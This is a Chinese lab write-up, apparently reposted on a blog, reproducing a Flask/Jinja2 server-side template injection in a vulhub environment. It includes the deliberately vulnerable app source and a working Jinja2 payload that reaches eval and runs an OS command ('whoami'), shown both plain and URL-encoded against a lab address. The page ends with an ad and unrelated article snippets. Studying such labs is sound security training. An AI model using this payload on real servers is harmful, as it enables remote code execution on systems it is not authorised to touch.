Flask(Jinja2) 服务端模板注入漏洞vulhub

摘要:
Flask(Jinja2)服务器端模板注入漏洞vulhub前言Flask简介Flask是一个用Python编写的轻量级Web应用程序框架。告诉模板引擎,此位置的值是从渲染模板时使用的数据获得的。Jinja2可以识别所有类型的变量。{%endif%}for语句循环呈现一组元素<漏洞原则模板注入涉及服务器Web应用程序使用模板引擎呈现用户请求的过程。
Flask(Jinja2) 服务端模板注入漏洞vulhub

前言

Flask简介

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

Jinja2 模版部分语法

  1. 变量
    Jinja2 使用{{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
    Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

    Hello, {{ name|capitalize }}
    
  2. if&for语句
    if语句简单示例

    {% if user %}
         Hello,{{user}} !
    {% else %}
         Hello,Stranger!
    {% endif %}
    
  3. for语句循环渲染一组元素

    <ul>
         {% for comment in comments %}
             <li>{{comment}}</li>
         {% endfor %}
    </ul>
    

漏洞原理

模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,服务器模板中拼接了恶意用户输入导致各种漏洞。

漏洞环境

编译及运行测试环境:

cd flask/ssti/
docker-compose build
docker-compose up -d

image-20210115193311247

漏洞复现

flask/ssti后端源码

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

观察代码 name变量完全可控

输出无过滤就注定会存在xss,当然还有更多深层次的漏洞。

image-20210115203804642

image-20210115194058129

访问http://172.168.30.66:8000/?name={{233*233}},得到54289,说明SSTI漏洞存在。

image-20210115194206107

eval()函数又称为评估函数,作用是去掉参数中最外层引号并执行剩余语句。
划重点:只去掉最外层引号
eval()的参数形式为字符串或字符串变量,在程序中可以将字符串形式的输入值转化为数字进行计算。
更广泛的应用是将任意字符串形式的输入值转化为Python可处理的语句。

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("whoami").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

访问http://172.168.30.66:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22whoami%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D,得到执行结果:

image-20210115211023001

免责声明:文章转载自《Flask(Jinja2) 服务端模板注入漏洞vulhub》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇C#运行批处理或者bat文件并且得到输出11个提升编程能力的小方法下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Python之字符编码与文件操作

目录 字符编码 Python2和Python3中字符串类型的差别 文件操作 文件操作的方式 文件内光标的移动 文件修改 字符编码 什么是字符编码? ''' 字符编码就是制定的一个将人类的语言的字符与二进制数据一一对应地翻译过来的标准。 ''' 字符编码的发展史与分类: 计算机最早的字符编码为ASCII,只规定了英文字母、数字和一些特殊字符与数字一一...

java之static变量与全局、局部变量的区别

static变量与全局、局部变量的区别 全局变量(外部变量)的说明之前再冠以static 就构成了静态的全局变量。全局变量本身就是静态存储方式,静态全局变量当然也是静态存储方式。这两者在存储方式上并无不同。这两者的区别虽在于非静态全局变量的作用域是整个源程序,当一个源程序由多个源文件组成时,非静态的全局变量在各个源文件中都是有效的。而静态全局变量则限制了其...

SQL server 主键自增ID 错乱

1.报错如下,插入数据时,报主键不满足约束,重复ID。   怀疑自增长ID 有问题,百度一下,可以查询和修改自增长ID的值。   //取最新自动增长值  select ident_current('表名')  然后使用 DBCC CHECKIDENT ('table_name', RESEED,new_reseed_value) 语句将该值指定为new_...

在React中使用Swiper

插件特色 swipe.js是一个比较有名的触摸滑动插件,它能够处理内容滑动,支持自定义选项,你可以让它自动滚动,控制滚动间隔,返回回调函数等。经常可见使用在移动前端开发中。 使用方法 先安装插件   npm i swiper --save 在文件中引入插件和css样式 1 import Swiper from "swiper" 2 import "swip...

[JAVA] 运行 java HelloWorld 命令,提示“错误: 找不到或无法加载主类

肯定是哪里出了问题,需要检查命令、系统环境变量配置、代码三个方面: 命令 java运行需要先使用“javac HelloWorld.java”命令对java文件进行编译,编译会自动生成一个同名的以“.class”为后缀的类文件放在同一目录,然后再执行“java HelloWorld”来运行。(注意:此处运行“java”命令,java后只能跟文件名,不需要任...

abap 简单的本地类操作

作业: 1、创建程序,用于本地类测试。 2、创建本地类LCL_AIRPLANE,用于对飞机的名称及型号的管理。 3、创建1个私有实例类型GTY_PLANE,包含2个字段: name(飞机的名称),类型为string, TYPE(飞机的类型),参考SAPLANE-PLANETYPE. 4、创建一个私有实例内表GT_PLANE,一个私有实例GS_PLANE,均...